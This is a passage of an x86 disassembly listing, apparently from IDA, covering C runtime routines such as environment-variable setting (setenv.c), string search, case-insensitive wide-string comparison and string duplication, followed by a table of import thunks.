dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_430702: ; CODE XREF: sub_4306F0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_430727 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_430727 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_430702 ; --------------------------------------------------------------------------- loc_430727: ; CODE XREF: sub_4306F0+20j ; sub_4306F0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_430739 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_43073C ; --------------------------------------------------------------------------- loc_430739: ; CODE XREF: sub_4306F0+3Fj mov eax, [ebp+arg_4] loc_43073C: ; CODE XREF: sub_4306F0+47j mov esp, ebp pop ebp retn sub_4306F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430740 proc near ; CODE XREF: sub_430240+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_43076C push 3Dh mov eax, [ebp+arg_0] push eax call sub_430B90 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_43076C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_430774 loc_43076C: ; CODE XREF: sub_430740+Bj ; sub_430740+22j or eax, 0FFFFFFFFh jmp loc_430A1B ; --------------------------------------------------------------------------- loc_430774: ; CODE XREF: sub_430740+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, dword_4920B0 cmp ecx, dword_4920B4 jnz short loc_4307A5 mov edx, dword_4920B0 push edx call sub_430AA0 add esp, 4 mov dword_4920B0, eax loc_4307A5: ; CODE XREF: sub_430740+4Fj cmp dword_4920B0, 0 jnz loc_430865 cmp [ebp+arg_4], 0 jz short loc_4307D7 cmp dword_4920B8, 0 jz short loc_4307D7 call sub_430240 test eax, eax jz short loc_4307D2 or eax, 0FFFFFFFFh jmp loc_430A1B ; --------------------------------------------------------------------------- loc_4307D2: ; CODE XREF: sub_430740+88j jmp loc_430865 ; --------------------------------------------------------------------------- loc_4307D7: ; CODE XREF: sub_430740+76j ; sub_430740+7Fj cmp [ebp+var_14], 0 jz short loc_4307E4 xor eax, eax jmp loc_430A1B ; --------------------------------------------------------------------------- loc_4307E4: ; CODE XREF: sub_430740+9Bj cmp dword_4920B0, 0 jnz short loc_430824 push 87h push offset aSetenv_c ; "setenv.c" push 2 push 4 call sub_416A30 add esp, 10h mov dword_4920B0, eax cmp dword_4920B0, 0 jnz short loc_430819 or eax, 0FFFFFFFFh jmp loc_430A1B ; --------------------------------------------------------------------------- loc_430819: ; CODE XREF: sub_430740+CFj mov eax, dword_4920B0 mov dword ptr [eax], 0 loc_430824: ; CODE XREF: sub_430740+ABj cmp dword_4920B8, 0 jnz short loc_430865 push 8Eh push offset aSetenv_c ; "setenv.c" push 2 push 4 call sub_416A30 add esp, 10h mov dword_4920B8, eax cmp dword_4920B8, 0 jnz short loc_430859 or eax, 0FFFFFFFFh jmp loc_430A1B ; --------------------------------------------------------------------------- loc_430859: ; CODE XREF: sub_430740+10Fj mov ecx, dword_4920B8 mov dword ptr [ecx], 0 loc_430865: ; CODE XREF: sub_430740+6Cj ; sub_430740:loc_4307D2j ... mov edx, dword_4920B0 mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_430A20 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_430921 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_430921 cmp [ebp+var_14], 0 jz short loc_430913 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_4174C0 add esp, 8 jmp short loc_4308BF ; --------------------------------------------------------------------------- loc_4308B6: ; CODE XREF: sub_430740+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4308BF: ; CODE XREF: sub_430740+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_4308E0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_4308B6 ; --------------------------------------------------------------------------- loc_4308E0: ; CODE XREF: sub_430740+189j push 0B9h push offset aSetenv_c ; "setenv.c" push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_416EC0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_430911 mov edx, [ebp+var_C] mov dword_4920B0, edx loc_430911: ; CODE XREF: sub_430740+1C6j jmp short loc_43091F ; --------------------------------------------------------------------------- loc_430913: ; CODE XREF: sub_430740+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_43091F: ; CODE XREF: sub_430740:loc_430911j jmp short loc_430994 ; --------------------------------------------------------------------------- loc_430921: ; CODE XREF: sub_430740+148j ; sub_430740+154j cmp [ebp+var_14], 0 jnz short loc_43098D cmp [ebp+var_8], 0 jge short loc_430935 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_430935: ; CODE XREF: sub_430740+1EBj push 0CEh push offset aSetenv_c ; "setenv.c" push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_416EC0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_430969 or eax, 0FFFFFFFFh jmp loc_430A1B ; --------------------------------------------------------------------------- loc_430969: ; CODE XREF: sub_430740+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov dword_4920B0, eax jmp short loc_430994 ; --------------------------------------------------------------------------- loc_43098D: ; CODE XREF: sub_430740+1E5j xor eax, eax jmp loc_430A1B ; --------------------------------------------------------------------------- loc_430994: ; CODE XREF: sub_430740:loc_43091Fj ; sub_430740+24Bj cmp [ebp+arg_4], 0 jz short loc_430A19 push 0E5h push offset aSetenv_c ; "setenv.c" push 2 mov ecx, [ebp+arg_0] push ecx call sub_418E70 add esp, 4 add eax, 2 push eax call sub_416A30 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_430A19 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_419FA0 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax call ds:dword_494294 push 2 mov ecx, [ebp+var_10] push ecx call sub_4174C0 add esp, 8 loc_430A19: ; CODE XREF: sub_430740+258j ; sub_430740+285j xor eax, eax loc_430A1B: ; CODE XREF: sub_430740+2Fj ; sub_430740+8Dj ... pop esi mov esp, ebp pop ebp retn sub_430740 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A20 proc near ; CODE XREF: sub_430740+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, dword_4920B0 mov [ebp+var_4], eax jmp short loc_430A37 ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: sub_430A20:loc_430A88j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_430A37: ; CODE XREF: sub_430A20+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_430A8A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_4301F0 add esp, 0Ch test eax, eax jnz short loc_430A88 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_430A7A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_430A88 loc_430A7A: ; CODE XREF: sub_430A20+48j mov eax, [ebp+var_4] sub eax, dword_4920B0 sar eax, 2 jmp short loc_430A98 ; --------------------------------------------------------------------------- loc_430A88: ; CODE XREF: sub_430A20+37j ; sub_430A20+58j jmp short loc_430A2E ; --------------------------------------------------------------------------- loc_430A8A: ; CODE XREF: sub_430A20+1Dj mov eax, [ebp+var_4] sub eax, dword_4920B0 sar eax, 2 neg eax loc_430A98: ; CODE XREF: sub_430A20+66j mov esp, ebp pop ebp retn sub_430A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430AA0 proc near ; CODE XREF: sub_430740+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_430AC0 xor eax, eax jmp loc_430B8A ; --------------------------------------------------------------------------- loc_430AC0: ; CODE XREF: sub_430AA0+17j ; sub_430AA0+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_430ADD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_430AC0 ; --------------------------------------------------------------------------- loc_430ADD: ; CODE XREF: sub_430AA0+30j push 146h push offset aSetenv_c ; "setenv.c" push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_416A30 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_430B15 push 9 call sub_41BAE0 add esp, 4 loc_430B15: ; CODE XREF: sub_430AA0+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_430B1B: ; CODE XREF: sub_430AA0+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_430B7E push 14Fh push offset aSetenv_c ; "setenv.c" push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_418E70 add esp, 4 add eax, 1 push eax call sub_416A30 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_430B6A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_419FA0 add esp, 8 loc_430B6A: ; CODE XREF: sub_430AA0+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_430B1B ; --------------------------------------------------------------------------- loc_430B7E: ; CODE XREF: sub_430AA0+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_430B8A: ; CODE XREF: sub_430AA0+1Bj mov esp, ebp pop ebp retn sub_430AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430B90 proc near ; CODE XREF: sub_430740+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp dword_49253C, 0 jnz short loc_430BB2 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4199F0 add esp, 8 jmp loc_430C79 ; --------------------------------------------------------------------------- loc_430BB2: ; CODE XREF: sub_430B90+Bj push 19h call sub_41BC90 add esp, 4 jmp short loc_430BC7 ; --------------------------------------------------------------------------- loc_430BBE: ; CODE XREF: sub_430B90:loc_430C56j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_430BC7: ; CODE XREF: sub_430B90+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_430C5B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, byte_492641[eax] and ecx, 4 test ecx, ecx jz short loc_430C46 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_430C18 push 19h call sub_41BD30 add esp, 4 xor eax, eax jmp short loc_430C79 ; --------------------------------------------------------------------------- loc_430C18: ; CODE XREF: sub_430B90+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_430C44 push 19h call sub_41BD30 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_430C79 ; --------------------------------------------------------------------------- loc_430C44: ; CODE XREF: sub_430B90+A0j jmp short loc_430C56 ; --------------------------------------------------------------------------- loc_430C46: ; CODE XREF: sub_430B90+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_430C56 jmp short loc_430C5B ; --------------------------------------------------------------------------- loc_430C56: ; CODE XREF: sub_430B90:loc_430C44j ; sub_430B90+C2j jmp loc_430BBE ; --------------------------------------------------------------------------- loc_430C5B: ; CODE XREF: sub_430B90+4Dj ; sub_430B90+C4j push 19h call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_430C77 mov eax, [ebp+arg_0] jmp short loc_430C79 ; --------------------------------------------------------------------------- loc_430C77: ; CODE XREF: sub_430B90+E0j xor eax, eax loc_430C79: ; CODE XREF: sub_430B90+1Dj ; sub_430B90+86j ... mov esp, ebp pop ebp retn sub_430B90 endp ; --------------------------------------------------------------------------- align 10h jmp ds:dword_4944DC ; --------------------------------------------------------------------------- jmp ds:dword_4944D8 ; --------------------------------------------------------------------------- jmp ds:dword_4944D4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430C92 proc near ; CODE XREF: sub_406614+15Bp jmp ds:dword_4944D0 sub_430C92 endp ; --------------------------------------------------------------------------- jmp ds:dword_4944CC ; --------------------------------------------------------------------------- jmp ds:dword_4944C8 ; --------------------------------------------------------------------------- jmp ds:dword_4944C4 ; --------------------------------------------------------------------------- jmp ds:dword_4944C0 ; --------------------------------------------------------------------------- jmp ds:dword_4944BC ; --------------------------------------------------------------------------- jmp ds:dword_4944B8 ; --------------------------------------------------------------------------- jmp ds:dword_4944B4 ; --------------------------------------------------------------------------- jmp ds:dword_4944B0 ; --------------------------------------------------------------------------- jmp ds:dword_4944AC ; --------------------------------------------------------------------------- jmp ds:dword_4944A8 ; --------------------------------------------------------------------------- jmp ds:dword_4944A4 ; --------------------------------------------------------------------------- jmp ds:dword_4944A0 ; --------------------------------------------------------------------------- jmp ds:dword_4942D4 ; --------------------------------------------------------------------------- jmp ds:dword_4942D8 ; --------------------------------------------------------------------------- jmp ds:dword_4942DC ; --------------------------------------------------------------------------- jmp ds:dword_4942E0 ; --------------------------------------------------------------------------- jmp ds:dword_4942E4 ; --------------------------------------------------------------------------- jmp ds:dword_4942E8 ; --------------------------------------------------------------------------- jmp ds:dword_4942EC ; --------------------------------------------------------------------------- jmp ds:dword_4942F0 ; --------------------------------------------------------------------------- jmp ds:dword_4942F4 ; --------------------------------------------------------------------------- jmp ds:dword_4942F8 ; --------------------------------------------------------------------------- jmp ds:dword_4942FC ; --------------------------------------------------------------------------- jmp ds:dword_494300 ; --------------------------------------------------------------------------- jmp ds:dword_494304 ; --------------------------------------------------------------------------- jmp ds:dword_494308 ; --------------------------------------------------------------------------- jmp ds:dword_49430C ; --------------------------------------------------------------------------- jmp ds:dword_494310 ; --------------------------------------------------------------------------- jmp ds:dword_494314 ; --------------------------------------------------------------------------- jmp ds:dword_494318 ; --------------------------------------------------------------------------- jmp ds:dword_49431C ; --------------------------------------------------------------------------- jmp ds:dword_494320 ; --------------------------------------------------------------------------- jmp ds:dword_494324 ; --------------------------------------------------------------------------- jmp ds:dword_494328 ; --------------------------------------------------------------------------- jmp ds:dword_49432C ; --------------------------------------------------------------------------- jmp ds:dword_494330 ; --------------------------------------------------------------------------- jmp ds:dword_494334 ; --------------------------------------------------------------------------- jmp ds:dword_494338 ; --------------------------------------------------------------------------- jmp ds:dword_49433C ; --------------------------------------------------------------------------- jmp ds:dword_494340 ; --------------------------------------------------------------------------- jmp ds:dword_494344 ; --------------------------------------------------------------------------- jmp ds:dword_494348 ; --------------------------------------------------------------------------- jmp ds:dword_49434C ; --------------------------------------------------------------------------- jmp ds:dword_494350 ; --------------------------------------------------------------------------- jmp ds:dword_494354 ; --------------------------------------------------------------------------- jmp ds:dword_494358 ; --------------------------------------------------------------------------- jmp ds:dword_49435C ; --------------------------------------------------------------------------- jmp ds:dword_494360 ; --------------------------------------------------------------------------- jmp ds:dword_494364 ; --------------------------------------------------------------------------- jmp ds:dword_494368 ; --------------------------------------------------------------------------- jmp ds:dword_49436C ; --------------------------------------------------------------------------- jmp ds:dword_494370 ; --------------------------------------------------------------------------- jmp ds:dword_494374 ; --------------------------------------------------------------------------- jmp ds:dword_494378 ; --------------------------------------------------------------------------- jmp ds:dword_49437C ; --------------------------------------------------------------------------- jmp ds:dword_494380 ; --------------------------------------------------------------------------- jmp ds:dword_494384 ; --------------------------------------------------------------------------- jmp ds:dword_494388 ; --------------------------------------------------------------------------- jmp ds:dword_49438C ; --------------------------------------------------------------------------- jmp ds:dword_494390 ; --------------------------------------------------------------------------- jmp ds:dword_494394 ; --------------------------------------------------------------------------- jmp ds:dword_494398 ; --------------------------------------------------------------------------- jmp ds:dword_49439C ; --------------------------------------------------------------------------- jmp ds:dword_4943A0 ; --------------------------------------------------------------------------- jmp ds:dword_4943A4 ; --------------------------------------------------------------------------- jmp ds:dword_4943A8 ; --------------------------------------------------------------------------- jmp ds:dword_4943AC ; --------------------------------------------------------------------------- jmp ds:dword_4943B0 ; --------------------------------------------------------------------------- jmp ds:dword_4943B4 ; --------------------------------------------------------------------------- jmp ds:dword_494290 ; --------------------------------------------------------------------------- jmp ds:dword_4943B8 ; --------------------------------------------------------------------------- jmp ds:dword_4943BC ; --------------------------------------------------------------------------- jmp ds:dword_4943C0 ; --------------------------------------------------------------------------- jmp ds:dword_4943C4 ; --------------------------------------------------------------------------- jmp ds:dword_4943C8 ; --------------------------------------------------------------------------- jmp ds:dword_4943CC ; --------------------------------------------------------------------------- jmp ds:dword_4943D0 ; --------------------------------------------------------------------------- jmp ds:dword_4943D4 ; --------------------------------------------------------------------------- jmp ds:dword_4943D8 ; --------------------------------------------------------------------------- jmp ds:dword_4943DC ; --------------------------------------------------------------------------- jmp ds:dword_4943E0 ; --------------------------------------------------------------------------- jmp ds:dword_4943E4 ; --------------------------------------------------------------------------- jmp ds:dword_4943E8 ; --------------------------------------------------------------------------- jmp ds:dword_4943EC ; --------------------------------------------------------------------------- jmp ds:dword_4943F0 ; --------------------------------------------------------------------------- jmp ds:dword_4943F4 ; --------------------------------------------------------------------------- jmp ds:dword_4943F8 ; --------------------------------------------------------------------------- jmp ds:dword_4943FC ; --------------------------------------------------------------------------- jmp ds:dword_494400 ; --------------------------------------------------------------------------- jmp ds:dword_494404 ; --------------------------------------------------------------------------- jmp ds:dword_494408 ; --------------------------------------------------------------------------- jmp ds:dword_49440C ; --------------------------------------------------------------------------- jmp ds:dword_494410 ; --------------------------------------------------------------------------- jmp ds:dword_494414 ; --------------------------------------------------------------------------- jmp ds:dword_494418 ; --------------------------------------------------------------------------- jmp ds:dword_49441C ; --------------------------------------------------------------------------- jmp ds:dword_494420 ; --------------------------------------------------------------------------- jmp ds:dword_494424 ; --------------------------------------------------------------------------- jmp ds:dword_494428 ; --------------------------------------------------------------------------- jmp ds:dword_49442C ; --------------------------------------------------------------------------- jmp ds:dword_494430 ; --------------------------------------------------------------------------- jmp ds:dword_494434 ; --------------------------------------------------------------------------- jmp ds:dword_494438 ; --------------------------------------------------------------------------- jmp ds:dword_49443C ; --------------------------------------------------------------------------- jmp ds:dword_494440 ; --------------------------------------------------------------------------- jmp ds:dword_494444 ; --------------------------------------------------------------------------- jmp ds:dword_494448 ; --------------------------------------------------------------------------- jmp ds:dword_49444C ; --------------------------------------------------------------------------- jmp ds:dword_494450 ; --------------------------------------------------------------------------- jmp ds:dword_494454 ; --------------------------------------------------------------------------- jmp ds:dword_494458 ; --------------------------------------------------------------------------- jmp ds:dword_49445C ; --------------------------------------------------------------------------- jmp ds:dword_494460 ; --------------------------------------------------------------------------- jmp ds:dword_494464 ; --------------------------------------------------------------------------- jmp ds:dword_494468 ; --------------------------------------------------------------------------- jmp ds:dword_49446C ; --------------------------------------------------------------------------- jmp ds:dword_494470 ; --------------------------------------------------------------------------- jmp ds:dword_494474 ; --------------------------------------------------------------------------- jmp ds:dword_494478 ; --------------------------------------------------------------------------- jmp ds:dword_49447C ; --------------------------------------------------------------------------- jmp ds:dword_494480 ; --------------------------------------------------------------------------- jmp ds:dword_494484 ; --------------------------------------------------------------------------- jmp ds:dword_494488 ; --------------------------------------------------------------------------- jmp ds:dword_49448C ; --------------------------------------------------------------------------- jmp ds:dword_494490 ; --------------------------------------------------------------------------- jmp ds:dword_494494 ; --------------------------------------------------------------------------- jmp ds:dword_494498 ; --------------------------------------------------------------------------- jmp ds:dword_4942D0 ; --------------------------------------------------------------------------- jmp ds:dword_4942CC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_430F9E proc near ; CODE XREF: sub_425E8C+13p jmp ds:dword_4942C8 sub_430F9E endp ; --------------------------------------------------------------------------- jmp ds:dword_4942C4 ; --------------------------------------------------------------------------- jmp ds:dword_4942C0 ; --------------------------------------------------------------------------- jmp ds:dword_4942BC ; --------------------------------------------------------------------------- jmp ds:dword_4942B8 ; --------------------------------------------------------------------------- jmp ds:dword_4942B4 ; --------------------------------------------------------------------------- jmp ds:dword_4942B0 ; --------------------------------------------------------------------------- jmp ds:dword_4942AC ; --------------------------------------------------------------------------- jmp ds:dword_4942A8 ; --------------------------------------------------------------------------- jmp ds:dword_4942A4 ; --------------------------------------------------------------------------- jmp ds:dword_4942A0 ; --------------------------------------------------------------------------- jmp ds:dword_49429C ; --------------------------------------------------------------------------- jmp ds:dword_494298 ; --------------------------------------------------------------------------- jmp ds:dword_494294 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431000 proc near ; CODE XREF: sub_405FE1+E2p ; sub_405FE1+F9p ... var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h cmp dword_492170, 0 jnz loc_4310CA loc_431013: ; CODE XREF: sub_431000+BFj mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax] cmp ecx, 5Ah jg short loc_43103D mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] cmp eax, 41h jl short loc_43103D mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx] add edx, 20h mov [ebp+var_10], edx jmp short loc_431048 ; --------------------------------------------------------------------------- loc_43103D: ; CODE XREF: sub_431000+1Ej ; sub_431000+2Bj mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax] mov [ebp+var_10], ecx loc_431048: ; CODE XREF: sub_431000+3Bj mov dx, word ptr [ebp+var_10] mov word ptr [ebp+var_4], dx mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax] cmp ecx, 5Ah jg short loc_43107A mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx] cmp eax, 41h jl short loc_43107A mov ecx, [ebp+arg_4] xor edx, edx mov dx, [ecx] add edx, 20h mov [ebp+var_14], edx jmp short loc_431085 ; --------------------------------------------------------------------------- loc_43107A: ; CODE XREF: sub_431000+5Bj ; sub_431000+68j mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax] mov [ebp+var_14], ecx loc_431085: ; CODE XREF: sub_431000+78j mov dx, word ptr [ebp+var_14] mov word ptr [ebp+var_C], dx mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_4310C5 mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+var_C] and ecx, 0FFFFh cmp eax, ecx jz loc_431013 loc_4310C5: ; CODE XREF: sub_431000+AAj jmp loc_43118A ; --------------------------------------------------------------------------- loc_4310CA: ; CODE XREF: sub_431000+Dj push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_4310FC push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_8], 1 jmp short loc_431103 ; --------------------------------------------------------------------------- loc_4310FC: ; CODE XREF: sub_431000+DCj mov [ebp+var_8], 0 loc_431103: ; CODE XREF: sub_431000+FAj ; sub_431000+16Bj mov edx, [ebp+arg_0] mov ax, [edx] mov [ebp+var_16], ax mov cx, [ebp+var_16] push ecx mov edx, [ebp+arg_0] add edx, 2 mov [ebp+arg_0], edx call sub_4312D0 add esp, 4 mov word ptr [ebp+var_4], ax mov eax, [ebp+arg_4] mov cx, [eax] mov [ebp+var_18], cx mov dx, [ebp+var_18] push edx mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax call sub_4312D0 add esp, 4 mov word ptr [ebp+var_C], ax mov ecx, [ebp+var_4] and ecx, 0FFFFh test ecx, ecx jz short loc_43116D mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_C] and eax, 0FFFFh cmp edx, eax jz short loc_431103 loc_43116D: ; CODE XREF: sub_431000+156j cmp [ebp+var_8], 0 jz short loc_43117F push 13h call sub_41BD30 add esp, 4 jmp short loc_43118A ; --------------------------------------------------------------------------- loc_43117F: ; CODE XREF: sub_431000+171j push offset dword_49274C call ds:dword_494414 loc_43118A: ; CODE XREF: sub_431000:loc_4310C5j ; sub_431000+17Dj mov eax, [ebp+var_4] and eax, 0FFFFh mov ecx, [ebp+var_C] and ecx, 0FFFFh sub eax, ecx mov esp, ebp pop ebp retn sub_431000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4311B0 proc near ; CODE XREF: sub_409842+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_4311BE xor eax, eax jmp short loc_4311F3 ; --------------------------------------------------------------------------- loc_4311BE: ; CODE XREF: sub_4311B0+8j mov eax, [ebp+arg_0] push eax call sub_418E70 add esp, 4 add eax, 1 push eax call sub_416A10 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4311F1 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_419FA0 add esp, 8 jmp short loc_4311F3 ; --------------------------------------------------------------------------- loc_4311F1: ; CODE XREF: sub_4311B0+2Dj xor eax, eax loc_4311F3: ; CODE XREF: sub_4311B0+Cj ; sub_4311B0+3Fj mov esp, ebp pop ebp retn sub_4311B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] and eax, 0FFFFh cmp eax, 0FFFFh jnz short loc_43121C mov ax, [ebp+8] jmp loc_4312C1 ; --------------------------------------------------------------------------- loc_43121C: ; CODE XREF: .text:00431211j cmp dword_492170, 0 jnz short loc_431256 mov ecx, [ebp+8] and ecx, 0FFFFh cmp ecx, 41h jl short loc_431250 mov edx, [ebp+8] and edx, 0FFFFh cmp edx, 5Ah jg short loc_431250 mov eax, [ebp+8] and eax, 0FFFFh add eax, 20h mov [ebp+8], ax loc_431250: ; CODE XREF: .text:00431231j ; .text:0043123Fj mov ax, [ebp+8] jmp short loc_4312C1 ; --------------------------------------------------------------------------- loc_431256: ; CODE XREF: .text:00431223j push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_431288 push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov dword ptr [ebp-4], 1 jmp short loc_43128F ; --------------------------------------------------------------------------- loc_431288: ; CODE XREF: .text:00431268j mov dword ptr [ebp-4], 0 loc_43128F: ; CODE XREF: .text:00431286j mov cx, [ebp+8] push ecx call sub_4312D0 add esp, 4 mov [ebp+8], ax cmp dword ptr [ebp-4], 0 jz short loc_4312B2 push 13h call sub_41BD30 add esp, 4 jmp short loc_4312BD ; --------------------------------------------------------------------------- loc_4312B2: ; CODE 